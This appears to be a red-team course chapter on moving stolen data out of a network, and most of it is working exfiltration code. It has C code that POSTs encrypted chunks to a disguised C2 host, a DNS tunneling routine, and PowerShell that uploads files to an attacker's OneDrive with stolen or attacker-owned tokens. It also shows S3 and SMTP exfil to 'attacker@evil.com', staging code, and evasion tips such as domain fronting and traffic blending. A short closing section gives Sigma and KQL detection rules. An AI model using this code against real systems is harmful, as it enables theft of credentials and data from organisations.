Exfiltration Techniques
Moving collected data out of the target network: HTTPS POST to attacker infrastructure, DNS tunneling for firewall-restricted environments, cloud storage provider abuse (S3, OneDrive, Dropbox), SMTP exfiltration, chunked transfer with reassembly, AES-256 + gzip pre-staging, and detection across DLP, proxy logs, and network telemetry.
You've collected 4 GB of data: credential dumps, Active Directory exports, source code, and screenshots. The firewall allows outbound HTTPS to any destination on port 443 but blocks direct connections to known C2 IPs. The proxy enforces SSL inspection on non-categorized domains. Your DNS C2 channel is limited to ~450 bytes/second — too slow for bulk exfil. You need a multi-path strategy: compress and encrypt locally, exfil the bulk via a cloud storage provider the proxy categorizes as trusted (OneDrive), and use the DNS channel only for the most sensitive credential blob as a backup in case the primary path is blocked.
Exfiltration Channel Comparison
| Channel | Bandwidth | Firewall Risk | DLP Visibility | Best For |
|---|---|---|---|---|
| HTTPS POST (own infra) | Full link speed | Medium — new domain | High if SSL-inspected | Bulk exfil, fast ops |
| DNS tunneling | ~450 B/s | Low — DNS allowed everywhere | Low — DNS rarely DLP'd | Small creds, fallback channel |
| Cloud storage (S3/OneDrive) | Full link speed | Low — trusted domains | Medium — categorized as SaaS | Bulk exfil through proxies |
| SMTP email | Limited by attachment size | Medium — port 25 often blocked, 587 less so | High — email DLP common | Small files, legacy environments |
| ICMP tunneling | ~100 B/packet | Low if ICMP allowed outbound | Very low | Air-gapped/restricted nets |
| Steganography in images | Very low | Low — HTTPS image upload | Very low | High-stealth small payloads |
HTTPS POST Exfiltration
// Chunked HTTPS POST exfiltration via WinHTTP
// Sends data in fixed-size chunks to C2 server
// Each chunk: encrypted with AES-256-GCM, base64-encoded, sent as JSON body
#define CHUNK_SIZE (128 * 1024) // 128 KB per POST
#define C2_HOST L"update.microsoft-cdn.net"
#define C2_PATH L"/telemetry/v2/upload"
typedef struct {
DWORD chunkId;
DWORD totalChunks;
DWORD sessionId;
BYTE data[CHUNK_SIZE];
DWORD dataLen;
} ExfilChunk;
BOOL ExfilChunkHTTPS(ExfilChunk* chunk, BYTE* aesKey) {
// Encrypt chunk data with AES-256-GCM
BYTE nonce[12]; BCryptGenRandom(NULL, nonce, 12, BCRYPT_USE_SYSTEM_PREFERRED_RNG);
BYTE encrypted[CHUNK_SIZE + 16];
BYTE tag[16];
DWORD encLen;
AesGcmEncrypt(aesKey, nonce, chunk->data, chunk->dataLen,
encrypted, &encLen, tag);
// Build JSON body: {"sid":N,"cid":N,"tot":N,"n":"base64","d":"base64","t":"base64"}
char nonceB64[32], dataB64[CHUNK_SIZE * 2], tagB64[32];
Base64Encode(nonce, 12, nonceB64);
Base64Encode(encrypted, encLen, dataB64);
Base64Encode(tag, 16, tagB64);
char body[CHUNK_SIZE * 3];
int bodyLen = sprintf(body,
"{\"sid\":%u,\"cid\":%u,\"tot\":%u,\"n\":\"%s\",\"d\":\"%s\",\"t\":\"%s\"}",
chunk->sessionId, chunk->chunkId, chunk->totalChunks,
nonceB64, dataB64, tagB64);
// Send via WinHTTP
HINTERNET hSession = WinHttpOpen(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
HINTERNET hConn = WinHttpConnect(hSession, C2_HOST, INTERNET_DEFAULT_HTTPS_PORT, 0);
HINTERNET hReq = WinHttpOpenRequest(hConn, L"POST", C2_PATH, NULL,
WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_SECURE);
WinHttpAddRequestHeaders(hReq,
L"Content-Type: application/json\r\nX-Request-ID: ",
(DWORD)-1, WINHTTP_ADDREQ_FLAG_ADD);
BOOL ok = WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
body, bodyLen, bodyLen, 0)
&& WinHttpReceiveResponse(hReq, NULL);
WinHttpCloseHandle(hReq);
WinHttpCloseHandle(hConn);
WinHttpCloseHandle(hSession);
return ok;
}
// Main exfil loop: read file → compress → chunk → encrypt → POST
BOOL ExfilFile(const wchar_t* filePath, BYTE* aesKey, DWORD sessionId) {
// Step 1: Read file into buffer (or stream for large files)
// Step 2: gzip compress (zlib DeflateStream or zlib.h)
// Step 3: split into CHUNK_SIZE blocks
// Step 4: for each chunk → ExfilChunkHTTPS
// Rate-limit: Sleep(500) between chunks to blend into normal traffic
}
DNS Exfiltration for Restricted Environments
# DNS exfil recap: base32-encode data into subdomain labels
# Covered in depth in ch114 — this section focuses on the operational workflow
# for using DNS as the exfil channel when HTTPS is blocked or proxy-inspected
# DNS exfil throughput math:
# Label max length: 63 chars
# Labels per query: 4 (leaving room for session/seq/type)
# Usable chars per query: 4 * 63 = 252 chars base32
# Base32 efficiency: 5 bits per char → 252 * 5 / 8 = ~157 bytes/query
# Queries per second: ~3 (DNS TTL + resolver caching limits)
# Effective throughput: ~470 bytes/second uplink
# For credential blobs (typical size: 50-500 KB):
# 50 KB / 470 B/s ≈ 1.8 minutes
# 500 KB / 470 B/s ≈ 18 minutes
# Acceptable for high-value small data, impractical for GBs
# Pre-stage for DNS exfil: compress + encrypt first
# 50 KB of JSON creds → gzip → ~8 KB → DNS exfil in ~17 seconds
# Implementation reference: ch114 DnsExfil() function
# Additions for bulk exfil:
# - Adaptive retry on SERVFAIL (resolver didn't reach authoritative NS)
# - Sequence number verification via TXT response ACK
# - Session ID derived from implant GUID (prevents cross-session collision)
// DNS exfil with retry and ACK verification
BOOL DnsExfilWithRetry(const BYTE* data, DWORD len,
const char* sessionId, const char* c2Domain) {
DWORD offset = 0; DWORD seq = 0;
while (offset < len) {
DWORD chunkLen = min(len - offset, 37);
char encoded[64];
Base32Encode(data + offset, chunkLen, encoded);
char label[256];
snprintf(label, sizeof(label),
"%s.%04u.%s.data.%s", encoded, seq, sessionId, c2Domain);
int retries = 0;
while (retries < 5) {
char ack[64] = {0};
if (DnsQueryTXT(label, ack, sizeof(ack)) &&
strncmp(ack, "ACK", 3) == 0) break;
Sleep(500 * (++retries));
}
if (retries == 5) return FALSE; // channel failed
offset += chunkLen; seq++;
Sleep(350); // ~3 queries/sec — blend with normal DNS traffic
}
return TRUE;
}
Cloud Storage Provider Abuse
# OneDrive/SharePoint API exfil
# Uses Microsoft Graph API — destination is microsoft.com / sharepoint.com
# Most enterprise proxies categorize these as "Microsoft Cloud Services" = trusted
# Requires: OAuth token (can be stolen from browser session, or use client_credentials
# with an attacker-registered Azure App with Files.ReadWrite.All scope)
# Step 1: Get access token (use stolen token from browser DPAPI decrypt, or own Azure app)
$token = (Invoke-RestMethod -Uri "https://login.microsoftonline.com//oauth2/v2.0/token" `
-Method POST -Body @{
client_id = ""
client_secret = ""
scope = "https://graph.microsoft.com/.default"
grant_type = "client_credentials"
}).access_token
# Step 2: Upload file to attacker's OneDrive via Graph API
$fileBytes = [System.IO.File]::ReadAllBytes("C:\Temp\exfil_package.zip")
Invoke-RestMethod `
-Uri "https://graph.microsoft.com/v1.0/me/drive/root:/exfil/data.zip:/content" `
-Method PUT `
-Headers @{ Authorization = "Bearer $token"; "Content-Type" = "application/octet-stream" } `
-Body $fileBytes
# For large files: use Graph API upload session (chunked, supports up to 250 GB)
$session = (Invoke-RestMethod `
-Uri "https://graph.microsoft.com/v1.0/me/drive/root:/exfil/large.zip:/createUploadSession" `
-Method POST -Headers @{ Authorization = "Bearer $token" } `
-ContentType "application/json" -Body '{}')
$uploadUrl = $session.uploadUrl
# Then: PUT chunks to $uploadUrl with Content-Range header
# AWS S3 alternative (if target environment uses AWS):
# aws s3 cp exfil.zip s3://attacker-bucket/drop/ --endpoint-url https://s3.amazonaws.com
# Or via .NET/WinHTTP with SigV4 signed requests to any public S3 bucket
SMTP Exfiltration
// SMTP exfil via CDO (Collaboration Data Objects) — built-in Windows COM
// No external binary needed. Can use internal mail server if relay is open.
// Also useful for environments where port 587 (SMTP/TLS) is allowed outbound.
void SMTPExfil(const wchar_t* smtpHost, const wchar_t* recipient,
const wchar_t* attachPath) {
CoInitializeEx(NULL, COINIT_MULTITHREADED);
IDispatch* pMsg = NULL;
CoCreateInstance( // CDO.Message
__uuidof(CDO::Message), NULL, CLSCTX_INPROC_SERVER,
__uuidof(IDispatch), (void**)&pMsg);
// Set SMTP server via CDO configuration object
_variant_t v;
v = smtpHost;
InvokeProperty(pMsg, L"Configuration", L"sendusing", _variant_t(2L)); // cdoSendUsingPort
InvokeProperty(pMsg, L"Configuration", L"smtpserver", v);
InvokeProperty(pMsg, L"From", _variant_t(L"noreply@microsoft.com"));
InvokeProperty(pMsg, L"To", _variant_t(recipient));
InvokeProperty(pMsg, L"Subject", _variant_t(L"Windows Update Report"));
InvokeProperty(pMsg, L"TextBody", _variant_t(L"See attached diagnostics."));
InvokeMethod(pMsg, L"AddAttachment", attachPath);
InvokeMethod(pMsg, L"Send");
pMsg->Release();
CoUninitialize();
}
// PowerShell SMTP (simpler, uses System.Net.Mail):
// $smtp = New-Object Net.Mail.SmtpClient("smtp.office365.com", 587)
// $smtp.EnableSsl = $true
// $smtp.Credentials = New-Object System.Net.NetworkCredential("user","pass")
// $msg = New-Object Net.Mail.MailMessage("from@corp.com","attacker@evil.com")
// $msg.Subject = "Diagnostics"
// $msg.Attachments.Add("C:\Temp\exfil.zip")
// $smtp.Send($msg)
Compression and Pre-Staging
// Pre-exfil staging: compress + encrypt everything into one package before sending.
// Benefits: smaller transfer size, single AES key, no plaintext on wire.
// Strategy: gzip → AES-256-GCM encrypt → write staged file → exfil → delete staged file.
#include <zlib.h>
BOOL CompressAndEncrypt(const BYTE* input, DWORD inLen,
BYTE* aesKey,
BYTE** outBuf, DWORD* outLen) {
// Step 1: gzip compress
DWORD compBound = compressBound(inLen);
BYTE* compressed = (BYTE*)malloc(compBound);
uLongf compLen = compBound;
if (compress2(compressed, &compLen, input, inLen, Z_BEST_COMPRESSION) != Z_OK) {
free(compressed); return FALSE;
}
// Step 2: AES-256-GCM encrypt compressed data
BYTE nonce[12]; BCryptGenRandom(NULL, nonce, 12, BCRYPT_USE_SYSTEM_PREFERRED_RNG);
BYTE tag[16];
DWORD encLen;
BYTE* encBuf = (BYTE*)malloc(compLen + 16);
AesGcmEncrypt(aesKey, nonce, compressed, compLen, encBuf, &encLen, tag);
free(compressed);
// Step 3: Build output: [4B original_len][12B nonce][16B tag][ciphertext]
*outLen = 4 + 12 + 16 + encLen;
*outBuf = (BYTE*)malloc(*outLen);
BYTE* p = *outBuf;
*(DWORD*)p = inLen; p += 4;
memcpy(p, nonce, 12); p += 12;
memcpy(p, tag, 16); p += 16;
memcpy(p, encBuf, encLen);
free(encBuf);
return TRUE;
}
Detection Engineering
-- Sigma: large outbound upload to new domain (HTTPS exfil)
title: Anomalous Large HTTPS Upload to Uncategorized Domain
logsource:
product: windows
category: network_connection
detection:
selection:
EventID: 3 # Sysmon NetworkConnect
DestinationPort: 443
Initiated: 'true'
filter_known:
DestinationHostname|endswith:
- '.microsoft.com'
- '.windows.com'
- '.office365.com'
- '.cloudflare.com'
condition: selection AND NOT filter_known
level: low
-- Note: combine with traffic volume data from proxy/firewall for threshold alert
-- MDE KQL: high outbound data volume from a single process
DeviceNetworkEvents
| where RemotePort == 443
| where ActionType == "ConnectionSuccess"
| summarize TotalBytes=sum(SentBytes), Connections=count()
by bin(Timestamp, 5m), DeviceName, InitiatingProcessFileName, RemoteUrl
| where TotalBytes > 10485760 // > 10 MB in 5 minutes
| where InitiatingProcessFileName !in~ ("OneDrive.exe", "Teams.exe", "chrome.exe")
| order by TotalBytes desc
-- Sigma: DNS exfil — high-frequency subdomain queries for same second-level domain
title: DNS Tunneling — High Subdomain Query Rate
logsource:
product: dns
detection:
selection:
QueryName|re: '^[a-z2-7]{20,}\..*\..*\.' # long base32-like label
condition: selection
level: medium
-- DLP approach: cloud storage upload from unexpected process
-- Network DLP (Netskope/Zscaler): flag large uploads to non-managed cloud tenants
-- Microsoft Purview: "Sensitive data uploaded to unmanaged cloud app" policy
-- Proxy categorization: cloud storage allowed but volume threshold alert
Q&A
How does SSL inspection defeat HTTPS exfiltration, and what can an implant do about it?
SSL inspection (a.k.a. TLS interception) works by deploying a trusted root certificate on all corporate endpoints. When a client makes an HTTPS connection, the proxy terminates the TLS session, decrypts the traffic, inspects it, then re-encrypts with the intercepted certificate and forwards to the destination. From the application's perspective, the certificate chain appears valid because the enterprise root CA is trusted. The proxy can now see all plaintext content — HTTP headers, request bodies, response bodies — before it reaches the destination. For HTTPS exfiltration this means the proxy can inspect the POST body, detect base64-encoded encrypted blobs, or flag uploads to uncategorized domains. Mitigations an implant can use: (1) Domain fronting — route traffic through a trusted CDN (Cloudflare, Azure Front Door) so the TLS SNI shows a categorized domain; the proxy doesn't inspect traffic to CDNs. The HTTP Host header inside the TLS tunnel points to the real C2. (2) Certificate pinning circumvention — use a C2 domain that has a certificate from a well-known CA; don't rely on obscure certs. (3) Cloud provider APIs — use the actual Microsoft Graph or AWS S3 API endpoints; proxies categorize these as trusted and may not decrypt them. (4) Traffic blending — format exfil traffic to match the content-type and structure of normal API traffic (telemetry JSON). (5) Alternate protocols — if HTTPS is inspected, DNS and ICMP tunneling bypass SSL inspection entirely because they're not TLS-based. Detection engineers should verify their proxy actually performs SSL inspection on all traffic categories — many organizations exempt cloud services, which creates the exact bypass gap attackers exploit.